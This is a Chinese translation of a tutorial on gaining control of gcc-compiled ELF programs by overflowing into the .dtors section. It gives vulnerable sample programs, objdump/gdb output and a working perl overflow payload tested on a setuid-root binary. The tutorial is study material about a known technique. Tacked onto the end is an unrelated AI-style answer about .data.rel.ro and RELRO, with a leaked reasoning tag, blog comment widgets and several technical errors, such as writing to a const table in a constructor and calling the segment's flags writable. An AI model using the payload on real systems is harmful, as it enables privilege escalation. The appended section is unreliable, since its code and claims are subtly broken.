通过覆盖.dtors进行缓冲区溢出攻击

http://www.77169.com/book/yin/jiao9/jiaoc991.htm

 

 

作者:Juan M. Bello Rivas
整理:warning3

介绍:

本文简要介绍了一种获取C程序(此程序应当是用gcc编译的)执行流程控制的技术。本文假设读者熟悉普通的缓冲区溢出技术以及ELF文件格式。

鸣谢: 感谢ga和dvorak的有趣讨论。

综述:

gcc为函数提供了几种类型的属性,其中两个是我们特别感兴趣的:构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

带有"构造函数"属性的函数将在main()函数之前被执行,而声明为"析构函数"属性的函数则将在_after_ main()退出时执行。
在生成的ELF可执行印像将会包含两个不同的节:.ctors和.dtors。它们都有类似下面的布局:

0xffffffff <函数地址> <另一个函数地址> ... 0x00000000

注意:如果你真得想要了解有关这部分的所有知识,我建议你去看
gcc-2.95.2/gcc/collect2.c

我们应当知道的几件事情包括:

* .ctors和.dtors将会被映射到进程地址空间中,缺省是可写的。
* 在对二进制文件正常的strip(1)命令后,这些节不会被去掉。
* 我们并不关心是否程序员已经设置了任何的构造函数和析构函数,因为这两节总会出现而且会被映射到内存空间中。

技术细节:

现在是演示一下我们先前所说的时候了:

[warning3@redhat-6 dtor]$ cat > yopta.c <<EOF
#include <stdio.h>
#include <stdlib.h>

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

int
main(int argc, char *argv[])
{
printf("start == %p/n", start);
printf("stop == %p/n", stop);

exit(EXIT_SUCCESS);
}

void
start(void)
{
printf("hello world!/n");
}

void
stop(void)
{
printf("goodbye world!/n");
}

EOF
[warning3@redhat-6 dtor]$ gcc -o yopta yopta.c
[warning3@redhat-6 dtor]$ ./yopta
hello world!
start == 0x8048434
stop == 0x8048448
goodbye world!
[warning3@redhat-6 dtor]$ objdump -h yopta

yopta: file format elf32-i386

Sections:
Idx Name Size VMA LMA File off Algn
<...>
16 .ctors 0000000c 080494f8 080494f8 000004f8 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 0000000c 08049504 08049504 00000504 2**2
CONTENTS, ALLOC, LOAD, DATA
<....>
[warning3@redhat-6 dtor]$ objdump -s -j .dtors yopta

yopta: file format elf32-i386

Contents of section .dtors:
8049504 ffffffff 48840408 00000000 ....H.......

我们可以看到就象前面所说的那样,stop()的地址(0x08048448)被储存在.dtors中。0xffffffff是.dtors的头标记,0x00000000是.dtors的尾标记。

既然我们的目的是对程序本身进行攻击,因此从现在开始就让我们完全忘掉.ctors,因为我们不能用它做任何有用的事。(溢出总是发生在main()开始后)

让我们试一个正常的程序,它没有使用这些函数属性标记。

[warning3@redhat-6 dtor]$ cat > bleh.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

static void bleh(void);

int
main(int argc, char *argv[])
{
static u_char buf[] = "bleh";

if (argc < 2)
exit(EXIT_FAILURE);

strcpy(buf, argv[1]);

exit(EXIT_SUCCESS);
}

void
bleh(void)
{
printf("goffio!/n");
}
EOF
[warning3@redhat-6 dtor]$ gcc -o bleh bleh.c
[warning3@redhat-6 dtor]$ ./bleh
[warning3@redhat-6 dtor]$ objdump -h bleh

bleh: file format elf32-i386

Sections:
Idx Name Size VMA LMA File off Algn
<....>
14 .data 00000014 080494dc 080494dc 000004dc 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 080494f0 080494f0 000004f0 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .ctors 00000008 080494f4 080494f4 000004f4 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 00000008 080494fc 080494fc 000004fc 2**2
CONTENTS, ALLOC, LOAD, DATA
<....>

我们看到即使没有任何函数被标记为析构属性,.dtors仍然会出现。现在我们来看一下它的内容:

[warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh

bleh: file format elf32-i386

Contents of section .dtors:
80494fc ffffffff 00000000 ........

我们看到程序的.dtors中没有指定任何析构函数的地址。

可能我们将buf声明为静态的而且将其初始化看起来有些奇怪。我们这么做只是为了将其储存在.data区,它非常靠近.dtors节。[ 译者注:参看前面objdump -h bleh的结果,.data在.dtors更低的内存区 ]
这不是我们将数据写入.dtors的唯一方法,你可以使用任何方法来完成,例如格式串攻击,通过返回libc来直接使用strcpy(),利用malloc块分配错误等等。这里采用这种做法只是为了简化起见。

现在我们的目的是要执行bleh()函数中的代码,正常情况下这是不可能发生的。但我们可以通过在.dtors中增加一个指向bleh()的函数入口来达到目的。我们必须覆盖0x0000000(地址在0x080494fc)。

[warning3@redhat-6 dtor]$ objdump --syms bleh | egrep 'text.*bleh'
08048468 l F .text 00000012 bleh

我们看bleh()函数的地址是0x08048468.现在到了真正进行攻击的时候了:


[warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "/x68/x84/x04/x08";'`
goffio!
Segmentation fault (core dumped)

[译者注:我们看一下如何确定"A"的个数:

[warning3@redhat-6 dtor]$ objdump -s -j .dtors -j .data bleh

bleh: file format elf32-i386

Contents of section .data:
80494dc 00000000 00950408 00000000 626c6568 ............bleh
80494ec 00000000 ....

"bleh"的起始地址为 0x80494dc + 0x0c = 0x80494e8

[warning3@redhat-6 dtor]$ objdump -s -j .dtors bleh

bleh: file format elf32-i386

Contents of section .dtors:
80494fc ffffffff 00000000 ........

我们要覆盖的地址为0x80494fc + 0x04 = 0x8049500
因此我们用来填充的'A'的个数就等于:
0x8049500 - 0x80494e8 = 0x18 = 24

]

我们看到bleh()函数象我们预料的那样被执行了。不过最好还是让我们看一下得到的进程映像(core),看看到底发生了些什么变化。

[warning3@redhat-6 dtor]$ gdb -q bleh core
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAh'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x8049508 in _GLOBAL_OFFSET_TABLE_ ()
(gdb) bt
#0 0x8049508 in _GLOBAL_OFFSET_TABLE_ ()
#1 0x80484 in ?? ()
#2 0x8049500 in __DTOR_END__ ()
#3 0x80484d0 in _IO_stdin_used ()
Cannot access memory at address 0x68e58955.
(gdb) maintenance info sections
Exec file:
`/home/warning3/dtor/bleh', file type elf32-i386.
<....>
0x080494dc->0x080494f0 at 0x000004dc: .data ALLOC LOAD DATA HAS_CONTENTS
0x080494f0->0x080494f4 at 0x000004f0: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x080494f4->0x080494fc at 0x000004f4: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x080494fc->0x08049504 at 0x000004fc: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x08049504->0x0804952c at 0x00000504: .got ALLOC LOAD DATA HAS_CONTENTS
<....>
现在让我们检查一下什么被覆盖了:

(gdb) x/x 0x080494f0
0x80494f0 <force_to_data>: 0x41414141

这部分是.eh_frame(这一节被gcc用来为支持它们的语言存储异常处理函数指针)
的内容

(gdb) x/x 0x080494f4
0x80494f4 <__CTOR_LIST__>: 0x41414141
(gdb) x/8x 0x080494fc
0x80494fc <__DTOR_LIST__>: 0x41414141 0x08048468 0x08049500 0x40013ed0
0x804950c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fa530 0x08048336
0x400328cc

我们看到,我们甚至根本不用担心0xffffffff这个头标记被覆盖,只须将bleh()的地址放在正确的位置就可以使我们的代码被执行了。我们也发现最后进程发生了段错误,这显然是由于进程会不断搜索.dtors的结尾标记(0x00000000),在找到之前将依次跳到我们所填充地址(0x8049500)后的每个地址去执行,由于结尾标记被我们覆盖了,导致程序跳到了GOT表中去执行了,所以才会发生错误。

结论:

这里展示了另外一种执行shellcode代码的方法。这种技术有以下的一些优点:

* 如果二进制目标文件攻击者是可读的,那么找到我们想写入的确切目标地址是很容易的,只需要分析ELF映像确定.dtors的位置即可。这将大大提高攻击的可靠性。

* 它比覆盖GOT表的技术更简单。

弱点:

* 要求目标程序必须被GNU工具编译和连接。
* 在某些情况下,知道程序退出也很难找到一个地方来存放shellcode

[译者注:这种方法实际上还有一个问题就是,由于析构函数是在main()函数退出之后才执行的,因此,如果程序在发生溢出后,又执行了setuid(saveduid)这样丢弃root权限的操作,攻击者将不能得到root(或者其他用户)权限。我们将bleh.c稍做修改:

[warning3@redhat-6 dtor]$ cat bleh.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

static void bleh(void);

void vulfun(char *ptr)
{
static u_char buf[] = "bleh";

strcpy(buf, ptr);

}

int
main(int argc, char *argv[])
{
int saved_uid = getuid();

if (argc < 2)
exit(EXIT_FAILURE);
printf("Before overflow: UID = %d, EUID = %d/n", getuid(), geteuid());
vulfun(argv[1]);
/* 我们在调用了问题函数vulfun之后,丢弃了root权限 */
setuid(saved_uid);
printf("After overflow: UID = %d, EUID = %d/n", getuid(), geteuid());
exit(EXIT_SUCCESS);
}

void bleh(void)
{
printf(".dtors has been overwritten! UID = %d, EUID = %d/n", getuid(), geteuid());
}

[warning3@redhat-6 dtor]$ ls -l bleh
-rwsr-xr-x 1 root root 12657 Dec 13 19:05 bleh*
[warning3@redhat-6 dtor]$ ./bleh `perl -e 'print "A" x 24; print "/x74/x85/x04/x08";'`
Before overflow: UID = 507, EUID = 0
After overflow: UID = 507, EUID = 507
.dtors has been overwritten! UID = 507, EUID = 507
Segmentation fault
因此我们看到,由于程序丢弃了root权限,我们最后只能以普通用户身份执行bleh().

参考文献:

[1]. <<Overwriting the .dtors section>>, Juan M. Bello Rivas

<think>我们正在讨论ELF文件中的.data.rel.ro段。这个段用于存储只读重定位数据,通常在程序加载后被标记为只读,以增强安全性。 作用: 1. 存储需要重定位的只读数据(例如函数指针表、常量指针等) 2. 在加载完成后通过重定位只读(RELRO)技术设置为只读,防止内存被篡改 3. 分为“部分RELRO”和“完全RELRO”两种保护级别 优化方式: 1. 编译选项:使用`-Wl,-z,relro`启用部分RELRO,使用`-Wl,-z,relro,-z,now`启用完全RELRO 2. 链接脚本:合理安排段的位置,确保在重定位后能够正确设置只读 3. 减少可写指针:尽可能将常量指针放入.data.rel.ro而非.data段 4. 数据布局优化:将需要重定位的常量数据集中放置,减少内存碎片 下面给出一个代码示例和链接脚本示例: </think> ### .data.rel.ro段深度解析与优化指南 #### .data.rel.ro段核心作用 .data.rel.ro(重定位只读数据段)是ELF文件中实现安全防护的关键内存域,其核心特性包括: 1. **安全防护机制**: - 存储**需要重定位的只读数据**(如GOT全局偏移表、常量指针等) - 在动态链接完成后被标记为只读(启用RELRO保护时) - 防止攻击者篡改函数指针等关键数据结构 2. **双重保护模式**: | 保护级别 | 启用方式 | 保护强度 | 性能影响 | |----------|----------|----------|----------| | 部分RELRO | `-Wl,-z,relro` | 基础保护 | <1%开销 | | 完全RELRO | `-Wl,-z,relro,-z,now` | 最高防护 | 2-5%启动延迟 | 3. **典型数据内容**: ```c const char * const string_table[] = { /* 字符串指针表 */ }; const struct func_desc api_table[] = { /* 函数描述结构体 */ }; extern const int * const global_const_ptr; // 需重定位的常量指针 ``` #### 高效优化策略(含代码示例) 1. **编译器级优化配置**: ```bash # 完全RELRO优化(安全与性能平衡) gcc -Wl,-z,relro,-z,now -fPIC -O2 -o secured_app # 位置无关代码必须与RELRO配合 gcc -shared -Wl,-z,relro,-z,now -fPIC -o libsecured.so ``` 2. **链接脚本精细控制**: ```ld /* 自定义.data.rel.ro布局 */ SECTIONS { .data.rel.ro : { /* 优先放置高频访问数据 */ *(.data.rel.ro.hot) . = ALIGN(64); /* 缓存行对齐 */ /* 常规数据 */ *(.data.rel.ro .data.rel.ro.*) /* 添加保护页防止溢出 */ . += 4096; } : RELRO /* 指定为RELRO段 */ /* 强制GOT放入此段 */ .got.plt : { *(.got.plt) } > .data.rel.ro } ``` 3. **代码结构优化技巧**: ```c // 优化前:混合存储(可能落入可写段) const char *ptr_table[] = {func1, func2}; // 危险! // 优化后:强制放入.data.rel.ro __attribute__((section(".data.rel.ro"))) const void * const secure_table[] = {&func1, &func2}; // 结合构造函数初始化 __attribute__((constructor)) void init_table() { // 重定位期可修改,运行期锁定 secure_table[0] = &optimized_func1; } ``` #### 安全与性能平衡矩阵 | 优化措施 | 安全提升 | 性能影响 | 兼容性 | 实施难度 | |----------|----------|----------|--------|----------| | 完全RELRO | 防止GOT覆盖攻击 | 增加启动延迟 | 通用 | ★☆☆ | | 热数据对齐 | 防缓存侧信道 | 提升5-10%访问速度 | 需硬件支持 | ★★☆ | | 保护页隔离 | 防缓冲区溢出 | 增加4KB内存/段 | Linux/BSD | ★☆☆ | | 延迟重定位 | 并行加载提速 | 降低完全RELRO效果 | 特定链接器 | ★★★ | #### 诊断与调试技术 ```bash # 1. 检查RELRO状态 checksec --file=target_binary # 输出示例: RELRO STACK CANARY ... # Full RELRO Enabled ... # 2. 分析段内存权限 objdump -p target_binary | 'PROGBITS' # 查找.data.rel.ro段的Flags字段应为 WA (写+分配) # 3. 运行时权限验证 gdb -q --batch -ex 'vmmap' -p $(pidof app) # 查找.data.rel.ro域权限应为 r-- (只读) # 4. 性能影响测试 perf stat -e L1-dcache-load-misses \ -e page-faults \ ./app_with_relro ``` > **关键安全警告**:使用`-Wl,-z,norelro`禁用RELRO防护将使程序暴露在以下风险中: > - GOT表覆盖攻击(劫持函数指针) > - DTORS攻击(利用析构函数) > - 全局偏移表劫持 > 仅在极端性能需求且安全无关的场景考虑禁用
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值